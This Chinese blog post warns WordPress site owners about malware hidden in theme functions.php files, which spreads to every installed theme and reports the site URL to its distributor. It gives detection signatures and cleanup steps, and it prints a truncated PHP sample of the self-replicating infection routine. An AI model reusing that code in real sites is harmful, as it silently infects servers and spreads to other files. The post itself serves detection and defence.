此段代码来源一般是在 WordPress 主题里面自带,可能免费主题、破解主题或者收费主题,大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。
再来大概说说它的工作原理,首先它会存在某一主题里面,当你启用调试此主题时,这段代码可以通过遍历获得你主题目录下的所有主题里面的 functions.php,并在 functions.php 文件结尾处的最后一个“?>”处自动添加下面的恶意病毒代码,如果恶意病毒代码添加成功,它会发送你博客的 url 地址到[email protected](可能大家没看到这个邮箱地址的添加位置,这就是它的巧妙之处,它将 email 地址拆分转义,然后用多重变量引用,下面的代码我已经用红色标注出了此 email 地址)
危害:单单从这段代码来说,也没什么大的问题,不过因为已经感染此代码且感染网址也发给了恶意病毒代码散播者,这样你的网站可能就会有选择成为下一步攻击目标。另外如果下面的代码不完整或者你的 Mysql 有一些安全限制会导致下面代码的一些项添加不完整,导致网站打开错误,其实这也是发现问题所在的原因。
小技巧:当你制作或使用一个安全主题时,你可以在 functions.php 文件结尾处的最后一个“?>”前添加上“//所有设置已完成”,这样如果被而已添加就能很快发现!
如何清除此段恶意病毒代码呢:
清理也很简单,直接在 functions.php 文件里面找到下面的代码删除即可,但因为一旦感染会导致你 themes 主题目录所有主题都感染,因此你只清除当前使用主题是无效的,你清除后很快就会生成,因此你清除掉一个主题的代码后,把 functions.php 文件设置为 444 权限,然后再清理其他主题即可。至于最后 functions.php 文件的 444 权限是否需要改回去,个人建议 444 挺好挺安全的,等要修改的时候再修改就行了。
functions.php 里面的恶意病毒代码实例如下(可能会有些差异,但基本代码是相同的):
<?php function _verifyactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } // 代码太长,略之! ?>
这些代码存在于 wp-content/themes 下的所有主题的所有 functions.php 文件里。
通常以下面这些函数特征出现:
function _checkactive_widgets function _get_allwidgets_cont function stripos function strripos function scandir add_action("admin_head", "_checkactive_widgets"); function _getprepare_widget add_action("init", "_getprepare_widget"); function __popular_posts
现场说法:
我在检查后台主题 functions.php 时发现,我的博客居然也被感染了!
首先在知更鸟主题中发现大段的恶意代码,鸟哥做主题的时候明显是加上了{全部结束}的注释。后面的多余的内容我还一直以为是 WP 自己给加上的。。。。
然后,我打开了手机主题 Mobile pack 的 functions.php 看了下,发现居然也有!看来真是有传染性:
二话不说,果断删除全部恶意代码:
检查无误后,我开始做预防措施。将 2 个主题的 functions.php 的权限设置为 444,只允许读取,不允许写入:
恶意代码风波到此就告一段落了!看来以后不能随便测试主题了!像哼哼猪说的一样:大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。
我记录这篇博文的主要目的就是为了提醒和我一样不知情的 WordPress 菜鸟站长,赶紧检查一下你的 WP 是不是被注入饿了恶意代码!我敢说,不知情的博主,感染率估计能有 80%以上!尤其是经常换主题的博客!各位博友,赶紧检查下自己的博客,有则删之,无则预防!